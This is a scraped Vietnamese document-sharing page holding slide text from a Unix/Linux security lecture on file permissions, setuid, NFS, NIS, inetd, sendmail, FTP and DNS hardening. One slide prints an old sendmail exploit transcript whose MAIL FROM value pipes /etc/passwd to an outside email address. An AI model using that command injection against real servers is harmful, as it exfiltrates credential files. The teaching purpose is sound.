1. Trang chủ
  2. » Công Nghệ Thông Tin

Chương 12: An toàn Hệ thống File Linux

48 532 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Chương 12: An toàn Hệ thống File Linux
Trường học Sun Microsystems Inc.
Chuyên ngành Information Technology / Computer Science
Thể loại Giáo trình
Năm xuất bản 1997
Thành phố Unknown
Định dạng
Số trang 48
Dung lượng 165,5 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

File System SecurityHỆ THỐNG TẬP TIN CỦA UNIX Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau.. Quyền và sở hữu tập tin và thư mục của Unix directory and file permissio

Trang 1

File System Security

HỆ THỐNG TẬP TIN CỦA UNIX

Đối với hệ điều hành UNIX, không có khái niệm các ổ đĩa khác nhau Sau quá trình khởi động, toàn bộ các thư mục và tập tin được ‘gắn ‘ lên (mount) và tạo thành một hệ thống tập tin thống nhất, bắt đầu từ

gốc ‘/’

Trang 2

Sun Microsystems Inc SunOS 5.6 Generic August 1997

SUN OS File System

Trang 5

/ /usr /usr/home /squid

/ /usr /usr/home

/squid

/mnt /mnt/cdrom

TƯƠNG ỨNG GIỮA DISK PARTITIONS

VÀ CẤU TRÚC TẬP TIN

Trang 6

GIỚI THIỆU CÁC THƯ MỤC QUAN TRỌNG CỦA UNIX

Trang 7

Quyền và sở hữu tập tin và thư mục của Unix (directory and file permission and ownership)

-rw-r—r— 1 fido users 163 Dec 7 14:31 myfile

Kết quả của lệnh ls -l

Khi một tập tin hay thư mục được tạo ra, nó mang owner và group của người tạo ra nó Phần quyền dành cho user, group, other phụ thuộc vào giá trị của umask

Trang 8

-rw-rw-r 1 tnminh tnminh 13 Oct 3 21:55 tmp

[tnminh@pasteur /etc]$ umask 022

[tnminh@pasteur tnminh]$ echo “tao mot file khac”>tmp1

[tnminh@pasteur tnminh]$ ls -l

-rw-rw-r 1 tnminh tnminh 13 Oct 3 21:55 tmp

-rw-r r 1 tnminh tnminh 18 Oct 3 21:59 tmp1

Umask và các quyền truy nhập tập tin

Trang 9

Dạng nhị phân của quyền truy nhập tập tin và

 6 or rw-: read and write

 5 or r-x: read and execute

Trang 10

Thay đổi các thuộc tính của tập tin và thư

mục

Cách thay đổi tương đối :

 chmod g+w myfile  thêm khả năng write cho group của myfile

 chmod o-x myfile  bớt khả năng chạy của others của myfile

Cách thay đổi tuyệt đối :

 chmod 644 myfile => myfile sẽ có quyền

rw-r r Đối với các admin, nên dùng cách tuyệt đối vì nó an toàn hơn

Đối với các thư mục, thao tác hoàn toàn tương đương

chown cho phép đổi người sở hữu tập tin,

Chgrp cho phép đổi nhóm của tập tin,

Trang 11

setuid và setgid bits

Set-user-id : Set-user-id nghĩa là khi chương trình được chạy, nó sẽ có quyền như người chủ (owner) của file cho dù người gọi chương trình là ai đi nữa

Ví dụ :

 $ ls –l /usr/sbin/sendmail

 rwsr-xr-x root root sendmail

Tương tự, set-group-id cho quyền chương trình như group của tập tin chương trình.

Bit thứ 4 mã giá trị này 4 = setuid; 2= setgid,

Nếu /bin/sh có setuid bit set thì ai cũng là root vì owner của /bin/sh là root và mọi user đều dùng /bin/sh khi login 

setgid cho thư mục = tập tin tạo ra trong thư mục này có cùng group như

group của thư mục

Setuid cho tập tin = không có tác dụng

Sticky bit = user chỉ có quyền xóa file do mình là owner Ví dụ /tmp

Trang 12

Bảo mật hệ thống bằng kiểm tra setuid và

setgid bits

•Tìm tập tin có setuid bit set

•find / -perm -4000 -exec ls -l {} \;

•Tương tự cho setguid :

•Tìm tập tin không user

•find / -nouser -exec ls -l {} \;

•Tìm tập tin viết được

•find / -perm –2 -print

•Tìm tập tin không sở hữa

•find / -nouser -print

Trang 13

-r-s x x 1 root root 10704 Apr 15 1999 /usr/bin/passwd

-rws x x 2 root root 517916 Apr 7 1999 /usr/bin/suidperl

-rws x x 2 root root 517916 Apr 7 1999 /usr/bin/sperl5.00503

-rwsr-sr-x 1 root mail 64468 Apr 7 1999 /usr/bin/procmail

-rwsr-xr-x 1 root root 14036 Apr 16 1999 /usr/bin/rcp

-rwsr-xr-x 1 root root 10516 Apr 16 1999 /usr/bin/rlogin

•Chú ý : Không nên cho các shell script giá trị setuid hay setgid Nếu

chúng ta cần setuid, setgid, viết chương trình bằng C hay một ngôn ngữ lập trình tương đương

Trang 14

Một số tập tin "nguy hiểm" Trusted hosts

•/etc/hosts.equiv : Người sử dụng từ một máy có IP trong tập tin này, có

cùng account name, có thể sử dụng rlogin và rsh mà không cần vào

password trên máy này Rất may rằng root là một ngoại lệ

•.rhosts : giống như /etc/hosts.equiv, nhưng kiểm tra host-user Đặc biệt user có thể tạo rhosts không thông qua admin Vì vậy, nên hoàn toàn cấm việc tạo ra rhosts tại các thư mục cá nhân

Trang 15

Checksum và checklist

•Lệnh sum cho phép xem xét xem tập tin có bị thay đổi về nội dung hay không Điều này giúp chúng ta phát hiện được virus vì virus nói chung phải thay đổi nội dung của file

•Nên chạy sum tại những thư mục mà nội dung không thay đổi về nguyeèn tắc /sbin, /bin Ghi lại kết quả vào một tập tin và sử dụng sau này để biết những tập tin có checksum thay đổi

•Checklist (thông qua lệnh ls) cho phép tìm ra những thay đổi của các tập tin hệ thống Chúng ta, cũng như checksum, nên tạo một file checklist ngay từ đầu Bằng cách này, chúng ta sẽ biết được các tập tin mới tạo ra không hợp pháp

Trang 16

Access Control List (ACL)

•Đây là một chuẩn mới của Unix cho phép phân quyền hạn truy nhập vào hệ thống tập tin một cách chi tiết hơn hệ thống của Unix truyền thống Hệ thống này cho phép ví dụ cả group ggg có quyền đọc và user uuu của group ggg này có quyền đọc và viết

•Hai lệnh cơ bản của ACL là getfacl và setfacl.

•Nếu chúng ta bổ sung ACL cho một tập tin, chúng ta dùng lệnh

•setfacl -m acl_entry_list filename

•để biết một tập tin có sử dụng ACL, với lệnh ls -l ta có

•-rw-r -+ etc Dấu + hiển thị rằng tập tin sử dụng ACL

•Có thể sử dụng ACL trên SUN OS 5.6

Trang 17

Network File System (NFS)

NFS, the Network File System has three important characteristics:

It makes sharing of files over a network possible.

It mostly works well enough.

It opens a can of security risks that are well understood by

crackers, and easily exploited to get access (read, write and delete)

to all your files

Trên nguyên tắc, NFS server tin NFS client và ngược lại Do đó, nếu NFS server hay client bị xâm nhập sẽ dễ dàng dẫn đến sự xâm nhập vào toàn bộ mạng NFS.

Trang 19

NFS Client Security

nosuid option : the server's root user cannot make a suid-root

program on the file system, log in to the client as a normal user and then use the suid-root program to become root on the client

Trang 20

Remote Call Procedure (RPC)-based

services

- đối với TCP, UDP protocols, port number có 2 bytes (65536 max.)

- Mỗi RPC-based có một RPC service number duy nhất 4 bytes (4294 Mports

- portmapper đợi ở cổng 111 (TCP và UDP)

- khi một RPC based server khởi động, nó sẽ chiếm một cổng TCP hay UDP port, sau đó thông báo cho portmapper ánh xạ giữa số RPC duy nhất của nó và công TCP/UDP nó vừa nhận.

- khi một RPC client muốn kết nối với một RPC-based server, nó “hỏi “ portmapper và được biết cổng TCP ma ø RPC-based server đang đợi.

- Client và server “quên “ portmapper và nối trực tiếp với nhau.

- Kẻ xâm nhập có thể bypass portmapper

Trang 21

NFS Server Security

•root_squash option : Now, if a user with UID 0 on the client attempts to access (read,

write, delete) the file system the server substitutes the UID of the

servers `nobody' account Which means that the root user on the

client can't access or change files that only root on the server can

access or change

Nhưng root của client có thể su thành bin hay adm và có thể xâm nhập vào

các tập tin có owner=bin trên server Vì vậy, những tập tin binaries hay tập

tin thường quan trọng nên có owner là root

•portmapper và nfsd có thể có vấn đề về security, cho phép thâm nhập trái phép

vào Server file system Để khắc phục sơ hở này cần có

portmap: ALL trong tập tin /etc/hosts.deny và

portmap: 129.240.223.0/255.255.255.0 trong /etc/hosts.allow để cho phép network

Trang 22

Network Information Service (NIS, NIS+)

SUN 1990

• NIS is a service that provides information, that has to be known

throughout the network, to all machines on the network Information likely to be distributed by NIS is:

· login names/passwords/home directories (/etc/passwd)

· group information (/etc/group)

If, for example, your password entry is recorded in the NIS passwd

database, you will be able to login on all machines on the network

which have the NIS client programs running

• NIS+ is designed by Sun Microsystems Inc as a replacement for NIS with better security and better handling of large installations

Trang 23

NIS security problems

• Một workstation tham gia vào NIS cần phải có tập tin /etc/passwd với dòng cuối cùng như sau :

• +::0:0:::

• Hoặc +:

Nếu ta dùng dòng một và quên dấu +, ta sẽ có một super-user không login name và không password ;-( Vì vậy nên dùng dòng lệnh thứ hai)

• Nếu /etc/hosts.equiv chỉ chứa + thì tất cả các user của tất cả các host có tên account như máy này có thể truy nhập không cần

password Chú ý một số Unix, kể cả SUN, cài hosts.equiv chỉ với một dòng như vậy ;-(

Trang 24

CHECKDIRS="/bin /etc /usr/bin /usr/etc /usr/lib /usr/ucb"

# ls.master is the file to create by command 'ls -alsgR $CHECKDIRS > ls.master

MASTER_LS=ls.master

# sum.master is the file to create by command 'find $CHECKDIRS -type f -exec echo -n {} " " \; -exec sum {} \; > sum.master

echo"Set-User-Id files found:"

find / -type f -a -perm -4000 -exec ls -aslg {} \;

echo ""

#

echo."Set-Group-Id files found:"

find / -type f -a -perm -2000 -exec ls -aslg {} \;

echo ""

#

#

echo"Device files not located in /dev :"

find / \( -type b -o -type c \) -print) | grep -v '^/dev'

Trang 25

#

echo " Files owned by none xistents user or group :"

find / \( -nouser -o -nogroup \) -exec ls -aslgd {} \;

echo "Files in $CHECKDIRS whose attributes have changed : "

echo "< = master check list, > = current listing"

diff $MASTER_LS /tmp/lschk.$$

echo ""

#

#

echo "Files in $CHECKDIRS whose checksums have changed:"

echo "< = master check list, > = current listing"

diff $MASTER_SUM /tmp/sumchk.$$

Trang 26

Bài 3 : Network Service Security

• Trên đây, chúng ta đã đề cập nhiều đến bảo mật chống các xâm nhập thông qua các điểm yếu hay các lỗi cài đặt hệ thống của hệ điều hành UNIX

• Chúng ta sẽ chuyển sang xem xét các xâm nhập thông qua các dịch mà máy Unix mở ra cho mạng

Trang 27

Inetd và /etc/inet.conf

• inetd được sử dụng để khởi động các daemon cung cấp các dịch vụ mạng inetd đợi các nối mạng sau một số cổng Khi có yêu cầu kết nối, inetd sẽ gọi chương trình server tương ứng để thiết lập các kết nối

• inetd sẽ đọc file /etc/inetd.conf khi được gọi lên bộ nhớ

• # <service_name> <sock_type> <proto> <flags> <user> <server_path>

<args>

• # Echo, discard, daytime, and chargen are used primarily for testing.

• # To re-read this file after changes, just do a 'killall -HUP inetd'

• #time stream tcp nowait root internal

• #time dgram udp wait root internal

• #

• # These are standard services.

• #

Trang 28

Inetd và security

• /etc/inet.conf có thể dùng để giải quyết một số vấn đề về bảo mật như sau :

- Nếu chúng ta không muốn sử dụng dịch vụ nào, chúng ta chỉ việc đơn giản đặt

dấu # trước dòng cấu hình kết nối đó Với những máy tính đòi hỏi bảo mật cao, quy tắc chung là cấm hết tất cả các dịch vụ mà chúng ta không cần hoặc không biết.Trong trường hợp máy hoạt động không bình thường, chúng ta bỏ dần các

chú thích # và như vậy chúng ta sẽ hiểu chức năng của các dịch vụ.

- Các dịch vụ nên xem xét bỏ là finger, tftp, talk

- Với dịch vụ đang có vấn đề về bảo mật nhưng không cắt đi được, chúng ta có thể giảm quyền của dịch vụ bằng cách thay thông tin trong trường user

Trang 29

Email, SMTP và Sendmail

• - Email là dịch vụ cơ bản và phổ biến nhất của Internet Giao diện dùng cho kết nối Email là SMTP (Simple Mail Transfer Protocol)

• - Sendmail là một SMTP server phổ biến nhất Mặc dù sendmail đã

bị nhiều "tai tiếng " về bảo mật trong lịch sử phát triển, nhưng đến hiện nay vẫn chưa có một chương trình nào có khả năng thay thế sendmail, nhất là về mặt tính năng Nguyên nhân của các bug của sendmail là vì sendmail khá dài và phức tạp (#30.000 dòng lệnh), đồng thời khi chạy trên bộ nhớ, sendmail phải có quyền như root để thực hiện nhiệm vụ của mình Tuy nhiên, do có nhiều người sử dụng sendmail, lỗi của sendmail sẽ được tìm ra rất nhanh chóng và được thông báo rộng rãi cho phép sửa chữa nhanh chóng

Trang 30

2 con đường thâm nhập qua Mail Server

1 Qua các lệnh mà mail server nhận từ ngoài : command channel attacks

Morris worm đã sử dụng con đường này bằng cách sử dụng lỗi debug của sendmail

2 Qua nội dung của mail : data-driven attacks Các chương trình Mail Server đều

sử dụng một chương trình mail local để gửi/nhận thư nội bộ của máy, giao diện với người sử dụng Trên Unix, đó thường là /bin/mail Nếu /bin/mail có bug, kẻ xâm

nhập có thể bắt /bin/mail thực hiện các lệnh ghi trong body của mail

Thư điện tư ngày nay thường là Multimedia, do đó cần những chương trình ngoài để

“đọc “ thư Chương trình ngoài nào “đọc “ thư và “đọc “ như thế nào là ngoài tầm kiểm soát của các chương trình mail cổ điển Ví dụ như một lễ giáng sinh, mạng của IBM bị tê liệt bị phải gửi một cách tự động hàng triệu mail có nhạc của lễ giáng sinh.Hãy cẩn thận với những thư với nội dung khuyên bạn đổi password sang một

Trang 31

•Các điểm cần kiểm tra :

•Dùng version mới Cần kiểm tra version của sendmail vì một số version cũ có vấn đề liên quan tới bảo mật hệ thống

•$ telnet pasteur.bvt.hcm 25

•220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35

+0700

Một số chức năng wiz, debug không được có

220 pasteur.bvt.hcm ESMTP Sendmail 8.9.3/8.9.3; Wed, 17 Nov 1999 04:46:35 700 wiz

500 Command unrecognized: "wiz"

Kiểm tra sendmail đang chạy

Trang 32

Ví dụ một lỗi của sendmail

• telnet victim.com 25

• Trying 128.128.128.1 …

• Connected to victim.com

• Escape character is '^]'.

• 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

• Mail from : "|/bin/mail zen@ecil.com < /etc/passwd"

• 250 "|/bin/mail zen@ecil.com < /etc/passwd" … sender OK

Trang 33

• File Transfer Protocol được thực hiện bởi ftp và ftpd Cần sử dụng ftpd sau 1989

•Để bảo mật ftp cần cấu hình tốt cho anonymous FTP

•tạo account ftp và * cho trường password để không login

•tạo home directory cho account ftp (ví dụ /home/ftp)

•thư mục này owner =ftp và không ai được ghi

•chown ftp ~ftp

•chmod 555 ~ftp

•tạo các thư mục bin,etc, usr tùy thuộc theo yêu cầu của Unix đang sử dụng và

các thư mục này đều có quyền 555

FTP

Trang 34

ftp (2)

Anonymous connection sẽ dùng ftp account.

thư mục này sẽ được làm tự động

drwxr-xr-x 2 root nobody 1024 Apr 16 1999 samba

Trang 35

ftp (3)

• [tnminh@pateur /home]$ ls -l ftp

• total 4

• d x x x 2 root root 1024 Nov 5 02:15 bin

• d x x x 2 root root 1024 Nov 5 02:15 etc

• drwxr-xr-x 2 root root 1024 Nov 5 02:15 lib

• dr-xr-sr-x 2 root ftp 1024 Mar 21 1999 pub

Trang 36

ftp (4) : /etc/ftpusers

• /etc/ftpusers chứa những account không dược nối vào qua ftp, ví dụ như root, bin …

• Ví dụ /etc/ftpusers của Linux Redhat 6.0

• [root@pateur /tmp]# more /etc/ftpusers

Trang 37

•Tập tin /etc/shells chứa các shells

mà các user được sử dụng như bash,

sh, ash, bsh

Trang 38

• Do tftp không đòi hỏi password, chú ý vấn đề bảo mật với tftp

• Tftp của SUNOS trước 4.0 có lỗi cho phép get các tập tin, ngay cả của /etc Cần thay version này

Trang 39

Domain Name System (DNS)

• Lỗi đầu tiên của DNS là DNS server và client không kiểm tra xem trả lời mà nó có là từ các server mà nó hỏi hay từ một nguồn nào đó Server có thể cache những thông tin sai lạc này và sử dụng khi có câu hỏi

• Ví dụ, kẻ xâm nhập có thể nói cho server IP của máy của họ chính là máy mà bạn tin tưởng (trusted) và máy của học có thể rlogin không qua password

• BIND Version 4.9 có sửa được lỗi kể trên

• Trên một số OS (ví dụ SUNOS 4.x), quá trình lookup/double

reverse lookup được tự động thực hiện Tức là DNS sẽ tìm IP->

Name rồi Name -> IP và kiểm tra 2 IP xem có khớp không Tuy nhiên phương pháp này không loại bỏ được hoàn toàn lỗi của DNS

Ngày đăng: 08/05/2014, 13:49

TỪ KHÓA LIÊN QUAN

w